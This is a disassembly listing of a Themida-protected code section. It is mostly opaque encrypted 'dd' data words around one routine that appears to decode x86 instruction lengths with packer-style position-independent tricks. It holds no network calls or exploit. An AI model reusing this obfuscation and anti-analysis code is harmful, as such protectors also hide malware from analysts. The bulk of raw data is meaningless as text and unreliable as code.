		dd 0D8Ch, 0AB82200h, 0AE1B5932h, 1BBE1D85h, 0EB6DA508h
		dd 5B929834h, 0DC1812BEh, 599D973Bh, 0DE1C16BAh, 579B913Dh
		dd 0CF0208A4h, 57848E22h, 0CF000AA6h, 68E9822Eh, 4BEDh
		dd 68243489h, 6481h, 68242C89h,	1251h, 68240C89h, 3079h
		dd 0BA241489h, 6E9438E2h, 8408CEBDh, 5AD52974h,	4EC81h
		dd 24890000h, 24048124h, 4, 0EA895259h,	24348152h, 50EF49DDh
		dd 8108418Fh, 49DD0871h, 8B5A50EFh, 8956240Ch, 4C681E6h
		dd 83000000h, 348704C6h, 2C8B5C24h, 0E0895024h,	405h, 4C08300h
		dd 5C240487h, 0FAA399E9h, 0ACAECFFFh, 0DA62B8BAh, 0C50305EFh
		dd 6D4AE0FFh, 0FF285BBAh, 0CBD17A0h, 0B3E331F1h, 0EBE91947h
		dd 693D641Bh, 78A857E3h, 9382930h, 0D0312C72h, 0A18D4838h
		dd 9F5F344Dh, 0C335214Ch, 0D36B1BAAh, 0C08B2A81h, 0EC7301BBh
		dd 0D9BD8313h, 5EA13h, 0BD830975h, 5EA2EE5h, 50197400h
		dd 0B8C08B53h, 3FCh, 0D798589h,	9D8D05EAh, 5ECDDF5h, 585BD3FFh
		dd 2EE5BD83h, 740005EAh, 0B8535017h, 3FCh, 0D798589h, 9D8D05EAh
		dd 5ECDAE4h, 585BD3FFh,	0C8B0FF5h, 0F000000h, 685h, 8E0F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 2964C355h, 79440BB6h, 0C08BDF8Bh
		dd 3800Fh, 0CF800000h, 0D1BD83DAh, 105EA02h, 7A840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 13681FC3h, 3E9D2075h, 31BDBD83h, 0F0005EAh, 4B85h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0CE9AC03h, 0DD000000h, 2F44A154h, 5ED28734h,	66286E78h
		dd 0BD83D18Bh, 5EA29F5h, 4F840F00h, 60000000h, 57C18B66h
		dd 8A0Fh, 61590000h, 3E7E9h, 0EE900h, 3A20000h,	9042F14Dh
		dd 12E9EE9Dh, 43AFB2EAh, 0A3C28166h, 82h, 6AFA8A00h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0F9F7C353h, 13CA01B7h, 0A34C61C7h, 4E84BCB6h, 0A6E8BCDFh
		dd 0FBB7E1FCh, 0A21ED055h, 0A239F85Dh, 0A68EBCC8h, 0DE84E999h
		dd 0DCC23951h, 0B638B931h, 0CFE8BCDCh, 44AEF0A7h, 6688B31h
		dd 42BD787Eh, 59CE656Eh, 0F547D60Ch, 0A6A3BF34h, 658A9CDCh
		dd 82B43587h, 82303DD8h, 0A63AA8D8h, 654EFFDCh,	0A708B3F6h
		dd 5347BCDCh, 0A6A3B435h, 0D4234DCh, 7D361591h,	0A35955A0h
		dd 0A650BCDCh, 0A61E5489h, 0FBAEBCDCh, 0CACEE11Fh, 0E222B8F8h
		dd 0A6CBB8F8h, 0F3ADBCDCh, 1ABD331Fh, 0A0C80FA9h, 0C3F73D8Fh
		dd 0FDB758EFh, 0A6475489h, 27FEBCDCh, 490C9D31h, 0A1323DD9h
		dd 0CC52A8D5h, 0A5D2EADCh, 861DBCDCh, 2FD07F82h, 274398A8h
		dd 0BCA79898h, 0E0D1BCDCh, 16CE7F8Ah, 9949EAD0h, 0CCFA37ADh
		dd 0A5F5E9DCh, 868EBCDCh, 2F1A7F81h, 27A798B0h,	0BBD59898h
		dd 0E3E8BCDCh, 3CED7F89h, 1B425F8Ah, 0CD46066Fh, 0A95E0BD3h
		dd 2C176D6Bh, 82A73524h, 4E81BCB6h, 0A6E8BCDFh,	0FEB7E4FCh
		dd 0A21EF855h, 0A239F85Dh, 0A68EBCC8h, 9584EC9Ch, 82EFBDD3h
		dd 4360DC22h, 5E88E4BDh
		dd 0A674AF35h, 0D36ABEDCh, 50D3D933h, 0EE642C25h, 0A8707514h
		dd 0F68EEBB6h, 0A4DDB9BDh, 0A682BCDCh, 0A677548Ch, 0FE1ABCDCh
		dd 0E294E41Fh, 0E20FB8F8h, 0A651B8F8h, 0F6E3BCDCh, 0AC90351Fh
		dd 0A6E8B935h, 0CBBE97DCh, 0AEB12442h, 2D7B6357h, 79054094h
		dd 0A647BD64h, 0F3A3D6DCh, 0A6D1BF34h, 65B59CDCh, 82183581h
		dd 827E3DD8h, 0A61DA0D8h, 65DBF9DCh, 7B996F49h,	2BD1DDE9h
		dd 776EB37Eh, 280A3DBAh, 0F2CEEC1Fh, 2F5E139Eh,	0B6F498D0h
		dd 0BC8EBCDCh, 94A7D6CDh, 156F6433h, 0B54FCAE7h, 0C00AD38Fh
		dd 508C6550h, 2335B81Dh, 0A61DBDCBh, 4ED9BCB6h,	0A647BCDFh
		dd 0F960E3FCh, 0A2F5C055h, 0A2CCF85Dh, 0A674BCC9h, 2F9EB9Bh
		dd 37A7E56Ah, 26DE6D5Bh, 2348D4E5h, 0A6A3BDBFh,	4E84BCB6h
		dd 0A6E8BCDFh, 0FBB7E1FCh, 0A21ED055h, 0A239F85Dh, 0A68EBCC8h
		dd 0B984E999h, 0B2F89966h, 4550DACAh, 0DF63BF3Fh, 0A914EEDDh
		dd 2735446Bh, 0A61DBCDCh, 590FE7BDh, 2647BCDCh,	0A7823ED3h
		dd 0A6BBBCDCh, 0A6EB548Fh, 0FD54BCDCh, 0FAB3E71Fh, 0E29CB8F8h
		dd 0A692B8F8h, 0F504BCDCh, 19102C1Fh, 94393339h, 278EC0BBh
		dd 61D33B17h, 49E6E459h, 0A61DBDD9h, 0AA0BB3DCh, 0A947BCDCh
		dd 0A6A3BA5Bh, 0A650B3DCh, 0C0E8BCDCh, 0C43A765Dh, 0A63BAF35h
		dd 0F71DD6DCh, 0A68EBF34h, 651E9CDCh, 82EF3585h, 82953DD8h
		dd 0A6E8A1D8h, 6525FDDCh, 7A300227h, 0FE59809Fh, 23810304h
		dd 0A647BCD7h, 0A62EB3BCh, 0A9D1BCDCh, 27894763h, 1CF57A0Fh
		dd 0A6AB55CDh, 0A97DBCDCh, 0A68EBD55h, 2C4845DCh, 0A6A3BCDEh
		dd 0A9B0DDBCh, 0A6E8BE59h, 0FFAB37DCh, 4E6CBCB6h, 0A61DBCDFh
		dd 0F84DE2FCh, 0A263C855h, 0A287F85Dh, 0A6D1BCC0h, 252BEA9Ah
		dd 84ACF9B8h, 99C2AFE1h, 0A61E3ED3h, 2DE8BCDCh,	0DFC4DA0Ah
		dd 22AC43D7h, 0A6D1BCE3h, 613A4F5Ch, 49A8E459h,	0A63ABDD9h
		dd 0F41DD6DCh, 0A68EBF34h, 651D9CDCh, 82F73586h, 82953DD8h
		dd 0A6E8A9D8h, 6526FEDCh, 0ACD21842h, 7B1DBCDCh, 46F14BE6h
		dd 1356A32Dh, 4D22DA83h, 0EE8BDD35h, 4EBDBCB6h,	0A674BCDFh
		dd 0FBF9E1FCh, 0A239D055h, 0A2AAF85Dh, 0A647BCC0h, 0A060E999h
		dd 4F114F20h, 0CD77A8B0h, 0A674AF35h, 0F711A1DCh, 495ACAEEh
		dd 7F3DF6FBh, 55AC663Bh, 9D14495Dh, 0F9A007BAh,	0C764AA65h
		dd 0CBF131F2h, 2B3F533Eh, 49FDFF61h, 0D27687D9h, 77488CDBh
		dd 5348FB15h, 4E86BCB6h, 0A6E8BCDFh, 0F9B7E3FCh, 0A21EC055h
		dd 0A239F85Dh, 0A68EBCC9h, 0D584EB9Bh, 4FDB0E51h, 0A6D1BCD6h
		dd 0A0176A0Dh, 172EE621h, 0ABD319B4h, 0A31DBCDCh, 121BE770h
		dd 0F7F47E18h, 2F25B9D6h, 8103C466h, 77553FBAh,	0A77156DEh
		dd 0A65238D3h, 0A677BCDCh, 0A68D548Eh, 0FC67BCDCh, 0F22AE61Fh
		dd 0E250B8F8h, 0A6F3B8F8h, 0F436BCDCh, 8CC13D1Fh, 5BBC787h
		dd 25B50AEFh, 4C760161h, 23ACBCD9h, 0A6D1BCEAh,	4EB8BCB6h
		dd 0A674BCDFh, 0FEF9E4FCh, 0A239F855h, 0A2AAF85Dh, 0A647BCC7h
		dd 0AA60EC9Ch, 132D4C99h, 0C00C4800h, 0C697775Dh, 8FCF015Fh
		dd 0A91DB936h, 0A68E9358h, 0BAAE49DCh, 0CCA3BCDDh, 0A539EEDCh
		dd 86E8BCDCh, 2F2E7F86h, 273E9888h, 0BA199898h,	0E48EBCDCh
		dd 89447F8Eh, 0A2462E1h, 0C69FC681h, 0C71D6C56h, 0A4A5015Fh
		dd 0A93BB936h, 0A61D1C59h, 0F78ED6DCh, 0A647BF34h, 65FA9CDCh
		dd 829D3585h, 82AC3DD8h, 0A674A8D8h, 656BFDDCh,	0A6145503h
		dd 0BE22BCDCh, 20D3205h, 1D7BA499h, 0A5A1B507h,	2DE7DC81h
		dd 0A674BCC4h, 0A63AAE34h, 0C91466DCh, 67886724h, 0AE85FFE6h
		dd 5EC6F565h, 0FE8184CDh, 0C089E78Bh, 0A30B675Dh, 0F13AD61Fh
		dd 0A61DBF34h, 65D19CDCh, 823B3583h, 82E73DD8h,	0A6D1A8D8h
		dd 65BFFBDCh, 7FFFDA9Ah, 0A63AD635h, 0F71DD6DCh, 0A68EBF34h
		dd 651E9CDCh, 82EF3585h, 82953DD8h, 0A6E8A0D8h,	6525FDDCh
		dd 0AAC82D8Ch, 1A76D744h, 0A6E4E143h, 0A644548Ah, 0F883BCDCh
		dd 0D258E21Fh, 0E269B8F8h, 0A66CB8F8h, 0F07CBCDCh, 33A3301Fh
		dd 36354B85h, 69424DF6h, 4EF5BCB6h, 0A6D1BCDFh,	0F82BE2FCh
		dd 0A250C855h, 0A21EF85Dh, 0A61DBCC9h, 454DEA9Ah, 2B9A0A25h
		dd 497FC161h, 9C5C31D9h, 1EED533Eh, 0DD4EE0C1h,	8FE339EFh
		dd 6936B936h, 0AA65551Dh, 31F2C764h, 533ECBF1h,	0FF612B3Fh
		dd 87D949FDh, 8CDBD276h, 83157748h, 0A4F305E9h,	0DC58BD83h
		dd 740005EFh, 218D8D0Dh, 0B805EA4Ch, 1,	0F40E1FFh, 12E9D8BFh
		dd 0D8000000h, 585901Ah, 781C4BB7h, 0CE1F288Ch,	0A9FF9FC8h
		dd 5E85398h, 87000000h,	7CBA3A0Eh, 42A0BB66h, 0E8835B5Bh
		dd 57006A2Dh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0E680BCB8h, 6AC08B20h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 666FC350h
		dd 835995BBh, 0EA13D9BDh, 9750005h, 2EE5BD83h, 740005EAh
		dd 8B535019h, 3FCB8C0h,	85890000h, 5EA0769h, 0DE5C9D8Dh
		dd 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h, 50177400h,	3FCB853h
		dd 85890000h, 5EA0769h,	0DAFD9D8Dh, 0D3FF05ECh,	6A585Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0D969C9C3h, 765B778Dh, 0C78036FEh, 9E960C0h,	5C000000h
		dd 86F72B8Bh, 0C8D1DFEBh, 8B61DE8Bh, 8E8C0h, 29AC0000h
		dd 2A32FDEEh, 8B5736ACh, 0F85A59CEh, 5DC6C281h,	13E90000h
		dd 0B4000000h, 0D957A6A7h, 90D2B973h, 0E5FE170Dh, 0DDA9AA98h
		dd 4BBFEDA6h, 0F000017h, 32FFDAB7h, 5ECEBF0Fh, 0C681E38Ah
		dd 5171BD65h, 10E951h, 0EF350000h, 441CD7A5h, 0B8FB7FB8h
		dd 719A727Ch, 815BEEC7h, 0CF347CF6h, 0B880F47h,	0F000000h
		dd 58Fh, 7852BB00h, 0C6813EB5h,	7B074469h, 0B840Fh, 810F0000h
		dd 5, 0FB93D2B8h, 0F5328932h, 0F02EA83h, 4A4ACBB7h, 4FC18B66h
		dd 0FF98850Fh, 0DA8BFFFFh, 0E4658D8Dh, 0FE905EFh, 61000000h
		dd 9EC500B9h, 0CD8426E0h, 74D0F20Dh, 8D89EC39h,	5EA0ADDh
		dd 0C7C6B70Fh, 0EA0ACD85h, 714805h, 4DBA6600h, 0F585C775h
		dd 5EA25h, 8B000000h, 0EA1C6985h, 95B5FF05h, 6605EA0Eh
		dd 0FFA6DFB8h, 0EA2A1995h, 51858B05h, 6A05EA1Bh, 1595FF00h
		dd 8B05EA10h, 272BEBC0h, 58B2FD6Eh, 0E7D22686h,	0AB08940Dh
		dd 0B0EF5A60h, 0BDD70CDFh, 7B308D88h, 0D6638265h, 0D529E5C9h
		dd 95EC6693h, 3E2D8D5Fh, 0C8E96D75h, 88000001h,	7 dup(88004188h)
		dd 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 1000000h, 14h dup(0)
		dd 0C3000000h, 77ED6380h, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	0EFE66DEDh, 85C76005h
		dd 5EFE5BAh, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 0EFE5BE85h, 605h
		dd 24E900h, 858D0000h, 5EFE5C2h, 12858D50h, 5005EFE6h
		dd 0E8006A56h, 1Dh, 2510C483h, 0FFh, 0E5BE8589h, 36105EFh
		dd 0EFE5BEB5h, 0BA858B05h, 5D05EFE5h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_59F162
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_59F16E
; ---------------------------------------------------------------------------

loc_59F162:				; CODE XREF: Themida_:0059F14Bj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_59F16E:				; CODE XREF: Themida_:0059F15Dj
		push	ebx
		push	esi
		push	edi

loc_59F171:				; CODE XREF: Themida_:0059F1C6j
					; Themida_:0059F1E2j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_59F184:				; CODE XREF: Themida_:0059F1ABj
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5EFE724h
		lea	ebp, [ebp+5EFE59Ah]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_59F1B1
		inc	cl
		cmp	cl, 0Bh
		jb	loc_59F184

loc_59F1B1:				; CODE XREF: Themida_:0059F1A0j
		cmp	cl, 0Bh
		jz	loc_59F20E
		cmp	al, 66h
		jnz	loc_59F1EF
		cmp	byte ptr [ebp-5], 0
		jnz	loc_59F171
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_59F1E7
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_59F171
; ---------------------------------------------------------------------------

loc_59F1E7:				; CODE XREF: Themida_:0059F1D4j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_59F1EF:				; CODE XREF: Themida_:0059F1BCj
		cmp	al, 67h
		jnz	loc_59F171
		cmp	byte ptr [ebp-6], 0
		jnz	loc_59F171
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_59F171
; ---------------------------------------------------------------------------

loc_59F20E:				; CODE XREF: Themida_:0059F1B4j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_59F23A
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_59F23F
; ---------------------------------------------------------------------------

loc_59F23A:				; CODE XREF: Themida_:0059F219j
		movzx	edi, al
		shr	edi, 1

loc_59F23F:				; CODE XREF: Themida_:0059F235j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5EFE7DCh
		lea	ebp, [ebp+5EFE49Ah]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_59F3C1
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_59F305
		dec	ecx
		jz	loc_59F2E8
		dec	ecx
		jnz	loc_59F358
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59F354
		cmp	byte ptr [ebp-5], 0
		jz	loc_59F2C7
		mov	byte ptr [ebp+0Bh], 2

loc_59F2C7:				; CODE XREF: Themida_:0059F2BDj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5EFE868h
		mov	dword ptr [ebp+5EFE5BAh], 1
		pop	ebp
		jmp	loc_59F358
; ---------------------------------------------------------------------------

loc_59F2E8:				; CODE XREF: Themida_:0059F2A2j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59F332
		cmp	byte ptr [ebp-5], 0
		jz	loc_59F332
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_59F332
; ---------------------------------------------------------------------------

loc_59F305:				; CODE XREF: Themida_:0059F29Bj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59F34B
		cmp	byte ptr [ebp-5], 0
		jz	loc_59F33A
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_59F332
		mov	[ebp+0Bh], cl

loc_59F332:				; CODE XREF: Themida_:0059F2ECj
					; Themida_:0059F2F6j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_59F358
; ---------------------------------------------------------------------------

loc_59F33A:				; CODE XREF: Themida_:0059F313j
		cmp	dl, 5
		jnz	loc_59F358
		mov	[ebp+0Bh], dl
		jmp	loc_59F358
; ---------------------------------------------------------------------------

loc_59F34B:				; CODE XREF: Themida_:0059F309j
		cmp	dl, 6
		jnz	loc_59F358

loc_59F354:				; CODE XREF: Themida_:0059F2B3j
		mov	byte ptr [ebp+0Bh], 3

loc_59F358:				; CODE XREF: Themida_:0059F2A9j
					; Themida_:0059F2E3j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_59F386
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_59F368:				; CODE XREF: Themida_:0059F37Ej
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_59F368
		mov	esi, edx

loc_59F386:				; CODE XREF: Themida_:0059F35Bj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_59F3BB
		cmp	edi, 7Fh
		ja	loc_59F3BB
		test	bl, 38h
		jnz	loc_59F3BB
		cmp	byte ptr [ebp-7], 0
		jz	loc_59F3B5
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_59F3B8
; ---------------------------------------------------------------------------

loc_59F3B5:				; CODE XREF: Themida_:0059F3A6j
		push	1
		pop	eax

loc_59F3B8:				; CODE XREF: Themida_:0059F3B0j
		mov	[ebp-1], al

loc_59F3BB:				; CODE XREF: Themida_:0059F38Aj
					; Themida_:0059F393j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_59F3C1:				; CODE XREF: Themida_:0059F26Bj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_59F3EC
		dec	eax
		dec	eax
		jz	loc_59F3E2
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_59F3F4
; ---------------------------------------------------------------------------

loc_59F3E2:				; CODE XREF: Themida_:0059F3D1j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59F3F1
; ---------------------------------------------------------------------------

loc_59F3EC:				; CODE XREF: Themida_:0059F3C9j
		mov	al, [ebp-3]
		add	al, 4

loc_59F3F1:				; CODE XREF: Themida_:0059F3E7j
		add	[ebp-1], al

loc_59F3F4:				; CODE XREF: Themida_:0059F3DDj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_59F41C
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_59F407:				; CODE XREF: Themida_:0059F416j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_59F407

loc_59F41C:				; CODE XREF: Themida_:0059F3FCj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B8D8DD0h, 6005EFEAh, 2EFD9529h, 0BD8905EAh,	5EA10F9h
		dd 81665261h, 58A385D8h, 0ADD8D89h, 0B58B05EAh,	5EA2369h
		dd 13D5850Bh, 85C705EAh, 5EA0ACDh, 630Ch, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 0BDC35242h, 202785BAh
		dd 53F1B61Fh, 3353D781h, 0C75E0B8Ah, 0EA25F585h, 5, 6D9D3300h
		dd 0FF05EA1Bh, 0EA2581B5h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0F03BA54Bh
		dd 0C7359352h, 1995FF12h, 6A05EA2Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 19AEC353h
		dd 3B4A381h, 0EA16D595h, 0FF006A05h, 0EA101595h, 0EBC08B05h
		dd 0DCD24D59h, 8E85AB8Bh, 0F69C487Eh, 0A243DA4Fh, 3EFBB595h
		dd 1C57533Bh, 5AF4EAC4h, 706786CBh, 0D2B5D2BCh,	47EFE794h
		dd 0D10F5B5Eh, 13E4DF58h, 0DFE11631h, 0F7935437h, 50AA59DEh
		dd 0E439BC6Dh, 40B92185h, 0FDC1532Dh, 0B12F07Bh, 0A51A6700h
		dd 94C4D614h, 0F7836DE1h, 8EB814Eh, 2356EF3Fh, 77E7339Ch
		dd 0DD0E9h, 0ECA56800h,	77E905EFh, 68FFFA93h, 5EFED5Dh
		dd 0FA936DE9h, 0EF0C68FFh, 63E905EFh, 68FFFA93h, 5EFF070h
		dd 0FA9359E9h, 0F21768FFh, 4FE905EFh, 68FFFA93h, 5EFF490h
		dd 0FA9345E9h, 0F61568FFh, 3BE905EFh, 68FFFA93h, 5EFF70Eh
		dd 0FA9331E9h, 0CB325FFh, 882DA258h, 0B526DCh, 8E2BAE54h
		dd 1B220DAh, 3072F355h,	0BF4511C2h, 2AD08437h, 5BA1F5AAh
		dd 99336712h, 51C3B90Bh, 0BA361D46h, 49E86D13h,	0CB66EFE5h
		dd 7CFF319Fh, 992B75D9h, 175666A3h, 41E28E16h, 36683544h
		dd 43F062ACh, 754D9AE0h, 0B82012BCh, 538E6214h,	0A4EA116Ch
		dd 7AF93738h, 3D3785DBh, 0B0116C53h, 35C38B28h,	412E2429h
		dd 3Dh,	421B6E18h, 48B5AE1Ch, 0D04812BCh, 38360A7Ch, 0DC82116Ch
		dd 172BA435h, 13B08FC6h, 5AC02351h, 6C2D14E8h, 27D41A11h
		dd 0D6E5C850h, 51DA56Fh, 0B2460EADh, 0C22E2395h, 0E3h
		dd 84D0399Bh, 0DBB1CDE0h, 791C5359h, 0F899DCDAh, 0AE0F4FA6h
		dd 0CE8F2EAEh, 93C7CD6Dh, 0FF70BEE0h, 575DFD5Eh, 0E13B321Eh
		dd 8BE2E382h, 7620A7A6h, 0C4A88C60h, 1EAC3668h,	17574326h
		dd 0A4A20199h, 52D48031h, 17573F0Dh, 15F8589Dh,	68DDFC45h
		dd 6BC591FDh, 0AC8130A5h, 2D3FDCD2h, 484EEDB9h,	0C40A5405h
		dd 204CE091h, 0DF2A2383h, 5DEA5806h, 1012BD0Bh,	0D64CD688h
		dd 6CF99064h, 0D7BE311h, 116CF937h, 5001748Ah, 3EC79F3Ch
		dd 0FE4C12EBh, 0CD14DD5h, 60AEF068h, 0EF1541F2h, 64FBC86Bh
		dd 60E80B25h, 0B5119C8h, 88C80000h, 0F67983D7h,	6AE91347h
		dd 0F4659FCBh, 67EB1145h, 0C746E0B4h, 0CC983BBFh, 4713C036h
		dd 0CC983FBDh, 4612BF36h, 0F8CC7EECh, 4B1D4652h, 0ED6D6EC7h
		dd 6DE01A4Eh, 6EC198CCh, 0AE1C421Bh, 12BC48B5h,	9340B648h
		dd 933F533Fh, 6C3813E5h, 0B1236D11h, 2409D4A4h,	0E0C22B2Eh
		dd 0F65F490Bh, 0E4882FADh, 0A31E47h, 6D470000h,	0D91749E8h
		dd 0FA5AF998h, 7DD182F0h, 5662E40Bh, 1023AA17h,	5513DDEh
		dd 77DB76FFh, 0C522B7Eh, 0BC6711BEh, 683CA412h,	0E3BD8891h
		dd 0D0AA3B51h, 856CE0Ch, 7C1D5C92h, 191FBCD0h, 946E3AD9h
		dd 1186B566h, 0E7E80BC7h, 0A999E4Fh, 0C0300000h, 3EB14B1Fh
		dd 0C231CB9Fh, 3CBD4713h, 0BF33C99Dh, 6FEE481Ch, 6430E317h
		dd 0EFBB589Eh, 6430E715h, 0EEBA579Eh, 9064D644h, 0E31D4654h
		dd 0D039C66Fh, 95131EB6h, 0D8DE7D46h, 3ADF99Ah,	7A512B99h
		dd 3CA41756h, 0A554999Fh, 17C635FBh, 2C74D7BBh,	7BE86D75h
		dd 675953E1h, 34AC1756h, 56676A42h, 6845DD17h, 0B23F2252h
		dd 842844A8h, 0FEAA478Eh, 752BF207h, 0BD13A0C7h, 0A70B9312h
		dd 0DBD163F9h, 53116D12h, 920A7D20h, 13744B31h,	82CC116Dh
		dd 0E97D0B52h, 21892E24h, 0D0000007h, 1C421B6Eh, 0D6AE1C86h
		dd 29175666h, 3B6812B1h, 0E12BC74h, 7C4C3A96h, 0C4116C52h
		dd 65135A8Ah, 912E2428h, 6F8h, 241B6EC8h, 0C4A804B5h, 821127E9h
		dd 660A8C62h, 2AC18A38h, 6CF412BDh, 0DE7FFC32h,	1DBD1E72h
		dd 6D1A956Bh, 3FADE311h, 7D1CC52Ch, 624CC8AFh, 5FFF89C1h
		dd 0BD0F2E24h, 56000006h, 8FB5D039h, 6C32B21Ch,	56CFE6DEh
		dd 0ADC15917h, 0CF6A410Eh, 0FBDE3BAh, 12BCE674h, 8D2EA06Eh
		dd 0BA62B21h, 4A7CBA7h,	77B9E77Fh, 22F45702h, 599E7F98h
		dd 24F21B95h, 9F6CAD34h, 61A8AD0Eh, 0D368DA84h,	8F80BE4Fh
		dd 0FB96DB15h, 774D3B57h, 0CA7F6E1Dh, 208AF152h, 1D3408BAh
		dd 1F877F6Eh, 6E1D9369h, 747EE67Fh, 92FE5203h, 0C20C52FEh
		dd 2E42EE8Bh, 0A481888Dh, 16C734FAh, 0B37DE7B5h, 4A30933Eh
		dd 7AD416CDh, 68A6F860h, 0F4C87AE9h, 477983E3h,	731FB3DFh
		dd 94C82D0h, 8FC63C68h,	5C46D1E2h, 16BE7A07h, 8EAC7h, 48EF6100h
		dd 0CC71E61Ch, 4CF16298h, 0C26FE218h, 4DEE6C96h, 443EBF19h
		dd 0CB316516h, 7E84D083h, 0F70D59FEh, 2D87D37Eh, 56370DBFh
		dd 68A1D46h, 0BAD039AFh, 0F10E074Eh, 8E6458EAh,	4FD71756h
		dd 4F868023h, 0F2070EA2h, 8DD1AB19h, 19591756h,	15A70D7Ah
		dd 17568E1Fh, 0A660A92h, 0B3E7E654h, 71BF12B9h,	0F8F25EFDh
		dd 0AA9C576h, 3BBDE971h, 1166A355h, 9E32E115h, 3E309EF2h
		dd 0DE441AB7h, 66A3986Ch, 0D073EB11h, 6B347188h, 66A2E3D9h
		dd 0A2CE5611h, 0A36E4EFCh, 59C11166h, 0DB76FFF5h, 0A327098Fh
		dd 75E71166h, 0E96C96C2h, 43576809h, 0DBFB465h,	11670937h
		dd 127E128Ah, 0FE4CD64Ch, 11670906h, 9D97E179h,	10116708h
